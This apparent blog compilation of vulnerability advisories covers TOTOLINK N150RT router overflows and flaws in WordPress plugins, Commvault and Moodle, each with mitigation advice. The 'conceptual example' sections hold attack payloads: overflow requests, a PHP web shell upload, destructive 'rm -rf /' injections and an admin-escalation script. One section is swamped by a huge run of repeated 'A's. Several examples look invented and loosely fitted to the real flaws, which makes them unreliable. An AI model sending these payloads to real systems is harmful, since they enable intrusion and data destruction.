Author: Ameeba

Overview

This blog post delves into the intricacies of the critical vulnerability, CVE-2025-3991, identified in TOTOLINK N150RT 3.4.0-B20190525. This vulnerability, which affects an unspecified component of the file /boafrm/formWdsEncrypt, has been classified as critical, with a high CVSS severity score of 8.8. The vulnerability can be exploited remotely, leading to a buffer overflow caused by improper handling of the ‘submit-url’ argument. This poses a significant risk to users as it opens up a potential gateway to system compromise or data leakage.
Given the severity of this vulnerability and the number of systems potentially at risk, understanding the underlying mechanisms of this exploit, and the necessary mitigation techniques is of paramount importance.

Vulnerability Summary

CVE ID: CVE-2025-3991
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and possibility of data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The exploit takes advantage of a vulnerability in the file /boafrm/formWdsEncrypt of TOTOLINK N150RT 3.4.0-B20190525. It manipulates the ‘submit-url’ argument, causing buffer overflow. The buffer overflow can lead to execution of arbitrary code or denial of service. Furthermore, the fact that the vulnerability can be exploited remotely without any user interaction or privileges adds to its severity.

Conceptual Example Code

To provide a conceptual illustration, the following HTTP request may be used by an attacker to exploit the vulnerability. This example only demonstrates the type of request that could lead to an exploit and does not represent an actual exploit code.

POST /boafrm/formWdsEncrypt HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In this example, the ‘submit-url’ argument is filled with a long string of ‘A’s that could overflow the buffer and potentially lead to execution of arbitrary code or denial of service.
Please note that this is a conceptual example and actual exploitation would likely involve more complex manipulations. It’s also important to remember that unauthorized exploitation of vulnerabilities is illegal and unethical.

Impact

Successful exploitation of this vulnerability can lead to a total system compromise and potential data leakage. The attacker could potentially execute arbitrary code or cause denial of service.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as a temporary mitigation measure. Regular monitoring of systems for any unusual activity can also help in early detection and prevention of potential exploits.

Overview

A critical security vulnerability identified as CVE-2025-3990 has been discovered in TOTOLINK’s N150RT router, specifically affecting version 3.4.0-B20190525. This vulnerability is of significant concern due to the potential for remote exploitation, leading to system compromise or data leakage. The issue lies within an unknown functionality of the file /boafrm/formVlan, which can be manipulated via the argument “submit-url” to trigger a buffer overflow condition. Given that the exploit details for this vulnerability have been publicly disclosed, the risk of exploitation is considerably high.

Vulnerability Summary

CVE ID: CVE-2025-3990
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The vulnerability exists due to insufficient boundary checks within the file /boafrm/formVlan. An attacker can manipulate the “submit-url” argument to cause a buffer overflow condition. This overflow can lead to unauthorized access to the system or potential data leakage. Given that the vulnerability can be exploited remotely, it opens up the possibility for attackers to compromise systems without needing physical access or user interaction.

Conceptual Example Code

Below is a conceptual example of how an HTTP request exploiting this vulnerability might look. Note that actual exploit code would contain specific payload designed to cause the buffer overflow.

POST /boafrm/formVlan HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=<malicious_payload>

The `` would be crafted to exceed the buffer size, causing an overflow. The specifics of this payload would depend on the exact nature of the buffer overflow vulnerability.

Mitigation Guidance

Users of affected versions are advised to apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. In the event that a patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be set up to detect and block attempts to exploit this vulnerability. However, they should not be considered as a long-term solution, as they may not be able to fully prevent a sophisticated attack. The ultimate solution is to patch the affected systems promptly.

Overview

The CVE-2025-3989 vulnerability is a critical security flaw identified in the TOTOLINK N150RT 3.4.0-B20190525. This vulnerability affects an unspecified function related to the /boafrm/formStaticDHCP file. The exploitation of this vulnerability could lead to serious implications such as system compromise or data leakage. It is particularly concerning because the vulnerability can be manipulated remotely, widening the potential attack surface. Given the public disclosure of the exploit, immediate attention and mitigation are necessary to prevent the potential exploitation of the vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-3989
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Buffer overflow leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The CVE-2025-3989 vulnerability is a buffer overflow issue that is triggered when manipulating the ‘Hostname’ argument in the /boafrm/formStaticDHCP file. An attacker can craft a malicious request with an overlong Hostname value, causing the buffer to overflow. This overflow can lead to unintended code execution, which an attacker can exploit to compromise the system or leak data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability could be exploited. The attacker sends a POST request with an excessively long ‘Hostname’ value to the target router.

POST /boafrm/formStaticDHCP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Hostname=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In the above request, ‘A’ is used to represent arbitrary data that fills the buffer beyond its capacity, triggering the overflow.

Mitigation Measures

To mitigate this critical vulnerability, users are advised to apply the vendor-supplied patch as soon as it becomes available. In the meantime, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent potential exploitation. Regular monitoring of network traffic and system logs can also aid in early detection of any suspicious activities.

Overview

The cybersecurity landscape is constantly changing, with new vulnerabilities discovered and exploited every day. Among the most recently discovered is CVE-2025-3988, a critical vulnerability affecting TOTOLINK N150RT router, specifically version 3.4.0-B20190525. This vulnerability, if exploited, could lead to a buffer overflow condition, compromising the security of the system and potentially leading to data leaks.
The significance of this vulnerability lies in its potential widespread impact. TOTOLINK routers are commonly used in homes and businesses worldwide. The vulnerability’s severity, combined with the potential for remote execution, means that unpatched systems could be compromised without any direct interaction from the user.

Vulnerability Summary

CVE ID: CVE-2025-3988
Severity: Critical (CVSS Score: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The vulnerability resides in an unknown function of the file /boafrm/formPortFw within the TOTOLINK N150RT router. It is triggered through the manipulation of the ‘service_type’ argument. The misuse of this argument results in a buffer overflow condition.
Buffer overflows occur when a program or process attempts to write more data to a fixed-length buffer than it can accommodate. This results in the excess data overwriting adjacent memory locations. If an attacker can control this overflow, they may be able to execute arbitrary code on the system.

Conceptual Example Code

To illustrate how the vulnerability could be exploited, consider the following conceptual HTTP request. This is not a working exploit, but a simplified example to demonstrate the concept.
“`http
POST /boafrm/formPortFw HTTP/1.1
Host: target-router-ip
Content-Type: application/x-www-form-urlencoded
service_type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Overview

This blog post presents an overview of a critical vulnerability identified with the CVE identifier CVE-2025-3914. This vulnerability is found within the Aeropage Sync for Airtable plugin for WordPress, specifically within the ‘aeropage_media_downloader’ function of the plugin. The vulnerability affects all versions up to, and including, version 3.2.0 of the plugin. It is a severe issue as it allows for the possibility of arbitrary file uploads by authenticated attackers, potentially leading to remote code execution and system compromise. Understanding this vulnerability, its potential impact, and mitigation strategies are crucial for any organization using the affected plugin to ensure the overall security of their WordPress-based systems.

Vulnerability Summary

CVE ID: CVE-2025-3914
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Aeropage Sync for Airtable | Up to and including 3.2.0

How the Exploit Works

The vulnerability lies within the ‘aeropage_media_downloader’ function of the Aeropage Sync for Airtable plugin. This function, as it currently stands, lacks file type validation, meaning it does not confirm whether the uploaded file is of a safe and permitted type before processing it. An attacker, with subscriber-level access or above, could exploit this by uploading a malicious file to the server. The server, treating the file as valid, could then execute the file’s code, potentially leading to system compromise.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability. This example is shown as an HTTP POST request where the attacker uploads a malicious file:

POST /wp-content/plugins/aeropage-sync/upload HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="exploit.php"
<?php
system($_GET['cmd']);
?>

In this conceptual example, ‘exploit.php’ is a malicious file that, when run, executes system commands passed through the ‘cmd’ GET parameter. This could give the attacker the ability to run arbitrary commands on the server.

Mitigation Guidance

Those affected by this vulnerability are advised to apply the vendor patch immediately as the primary mitigation strategy. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as temporary mitigation. These security measures can be configured to block or alert on attempts to exploit this vulnerability. However, they do not substitute for the long-term solution of patching the vulnerable plugin.

Overview

The CVE-2025-3906 is a critical vulnerability found in the Integração entre Eduzz e Woocommerce plugin for WordPress. This vulnerability can potentially lead to unauthorized modification of data, compromising the integrity of the system. It specifically affects the ‘wep_opcoes’ function in all versions up to, and including, 1.7.5 of the plugin. Given the widespread use of WordPress and this plugin in particular, this vulnerability is of significant concern to website administrators and developers, as it could allow attackers to escalate privileges and potentially gain administrative access.

Vulnerability Summary

CVE ID: CVE-2025-3906
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Integração entre Eduzz e Woocommerce plugin for WordPress | Up to and including 1.7.5

How the Exploit Works

The vulnerability stems from a missing capability check on the ‘wep_opcoes’ function of the plugin. This allows an authenticated attacker, with just Subscriber-level access, to edit the default registration role within the plugin’s registration flow to Administrator. Consequently, any user can then create an Administrator account, potentially leading to system compromise or data leakage.

Conceptual Example Code

The following pseudocode demonstrates how this unauthorized data modification might occur:

# Attacker authenticates as a subscriber
auth = authenticate_as_subscriber()
# Attacker changes the default registration role to "Administrator"
response = auth.post("/wp-admin/admin-ajax.php", data={
"action": "wep_opcoes",
"default_role": "Administrator"
})
# Any user can now register as an Administrator
register_as_admin = post("/wp-login.php?action=register", data={
"user_login": "new_admin",
"user_pass": "password",
"role": "Administrator"
})

If successful, this would enable the attacker to modify the default registration role, allowing any user to register as an Administrator.

Mitigation Guidance

To mitigate this vulnerability, it is recommended that users apply the latest patch from the plugin vendor, which addresses this security flaw. If the patch cannot be applied immediately, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can detect and prevent unauthorized modification attempts, providing an extra layer of security against potential attacks.

Overview

The CVE-2024-13808 vulnerability is a critical security flaw impacting the Xpro Elementor Addons – Pro plugin for WordPress. This vulnerability can enable attackers to remotely execute code on the server, potentially resulting in system compromise or data leakage. It specifically affects versions up to and including 1.4.9 of the plugin. The severity of this vulnerability combined with the widespread use of the WordPress platform makes this a substantial cybersecurity concern that warrants immediate attention from all users of the affected plugin.

Vulnerability Summary

CVE ID: CVE-2024-13808
Severity: High (8.8/10)
Attack Vector: Remote
Privileges Required: Contributor level access
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Xpro Elementor Addons – Pro WordPress Plugin | Up to and including 1.4.9

How the Exploit Works

The vulnerability exists due to inadequate security controls on the client side in the custom PHP widget of the Xpro Elementor Addons – Pro plugin. This allows an authenticated attacker with contributor-level access or above to send a crafted request, leading to arbitrary code execution on the server. The server then processes this injected malicious code, potentially leading to complete system compromise.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a POST request to a vulnerable endpoint, containing a malicious payload. This could look something like the following:

POST /wp-content/plugins/xpro-addons-pro/php-widget-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php
{ "php_code": "<?php system('rm -rf /'); ?>" }

In this conceptual example, the attacker sends a malicious PHP code payload that, when executed, could potentially delete all files in the server’s root directory.
Please note that this is a conceptual example and actual exploitation may vary based on the attacker’s intent and the specific configuration of the targeted system.

Prevention and Mitigation

All users of the Xpro Elementor Addons – Pro plugin for WordPress are strongly advised to update to the latest version of the plugin which includes a patch for this vulnerability. As a temporary mitigation, users can also deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can detect and block attempts to exploit this vulnerability. However, these should not be seen as permanent solutions, but rather as stopgaps until the patch can be applied.

Overview

A critical vulnerability identified as CVE-2025-3928 has been discovered in the Commvault Web Server, a widely used software suite providing data protection and information management solutions. This vulnerability, if exploited, could allow a remote, authenticated attacker to potentially compromise systems or leak data. Given the wide use of Commvault’s products in businesses and organizations across the globe, this vulnerability could have far-reaching implications, affecting data integrity and security on a large scale.

Vulnerability Summary

CVE ID: CVE-2025-3928
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Commvault Web Server | 11.20.217 and earlier versions
Commvault Web Server | 11.28.141 and earlier versions
Commvault Web Server | 11.32.89 and earlier versions
Commvault Web Server | 11.36.46 and earlier versions

How the Exploit Works

The vulnerability lies in the way the Commvault Web Server handles user authentication and script execution. An attacker with valid credentials can craft malicious webshells and execute them on the server, ultimately gaining unauthorized access to the system. The attacker can then exploit this access to compromise the system or leak sensitive data.

Conceptual Example Code

Consider this conceptual example of a malicious HTTP POST request that an attacker might use to exploit the vulnerability:

POST /commvault_script/execute HTTP/1.1
Host: target.company.com
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer {valid_auth_token}
{ "script": "/path/to/malicious/webshell.sh" }

In this example, the attacker uses a valid authentication token (`valid_auth_token`) and sends a request to execute a malicious webshell script (`webshell.sh`) located on the server.

Prevention and Mitigation

To protect against this vulnerability, it is recommended to update the Commvault Web Server to versions 11.20.217, 11.28.141, 11.32.89, or 11.36.46 for Windows and Linux platforms. Until the update can be applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation against potential attacks exploiting this vulnerability.
In conclusion, CVE-2025-3928 is a serious vulnerability that requires immediate attention. By keeping systems up-to-date and employing appropriate security measures, organizations can protect their data and maintain the integrity of their systems.

Overview

CVE-2025-3642 is a serious security vulnerability that affects Moodle’s EQUELLA repository. This flaw exposes users to a risk of remote code execution, which could potentially lead to system compromise or data leakage. The vulnerability affects users who have the EQUELLA repository enabled, which by default includes teachers and managers. Given the widespread use of Moodle, this vulnerability could have far-reaching consequences for educational institutions worldwide, highlighting the importance of maintaining up-to-date security practices.

Vulnerability Summary

CVE ID: CVE-2025-3642
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (default access for teachers and managers)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Moodle | All versions with EQUELLA repository enabled

How the Exploit Works

The exploit takes advantage of a flaw in the Moodle LMS EQUELLA repository that exposes the system to remote code execution. An attacker with the necessary access privileges can inject malicious code into the system and execute it remotely. This could potentially result in system compromise or data leakage. The level of access required to exploit this vulnerability is low, as the EQUELLA repository is enabled by default for teachers and managers.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

POST /moodle/equella HTTP/1.1
Host: target.school.edu
Content-Type: application/json
{ "malicious_code": "payload_that_exploits_CVE-2025-3642" }

In this example, the attacker sends a POST request to the vulnerable EQUELLA endpoint with a JSON payload containing the malicious code. If the exploit is successful, the attacker could potentially gain control over the system or access sensitive data.

Mitigation and Recommendations

The first and most important step in mitigating this vulnerability is to apply the vendor-provided patch as soon as it becomes available. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be utilized to detect and prevent exploitation attempts.
Furthermore, organizations should consider disabling the EQUELLA repository if it is not required, or restrict its use to trusted and necessary personnel only. Regular security audits and penetration testing can also help in identifying and addressing similar vulnerabilities in the future.

Overview

The vulnerability, known as CVE-2025-3641, is a critical flaw identified in Moodle’s Learning Management System (LMS). Specifically, the flaw resides in the Dropbox repository, posing a risk for remote code execution. This vulnerability is significant as it could enable an attacker to compromise the system or leak data. Moodle, being a widely used LMS platform, makes this vulnerability a crucial one to address. The flaw is particularly critical in educational institutions and corporations where Moodle is used extensively, potentially exposing sensitive information to cyber threats.

Vulnerability Summary

CVE ID: CVE-2025-3641
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: High (Teacher/Manager level)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Moodle LMS | All versions with Dropbox repository enabled

How the Exploit Works

The exploit takes advantage of the flaw within the Dropbox repository in the Moodle LMS. An attacker with teacher or manager level permissions can inject malicious code into the repository. When the code is executed, it can lead to system compromise or data leakage. This vulnerability can be exploited remotely, adding to its severity.

Conceptual Example Code

Below is a theoretical example of how the vulnerability might be exploited. This is a pseudocode representation and may not work in a real-world scenario.

# Malicious user with teacher/manager level privileges
login_as_teacher_or_manager()
# Navigate to the Moodle Dropbox repository
navigate_to_dropbox_repository()
# Inject malicious code
inject_code("""
import os
# This could be any malicious code
os.system('rm -rf /') # This command would delete all files in the system
""")
# Execute the malicious code
execute_injected_code()

Mitigation Guidance

To mitigate the impact of this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, usage of Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can provide temporary mitigation. However, these should not be used as a permanent solution, and applying the vendor patch should be a priority.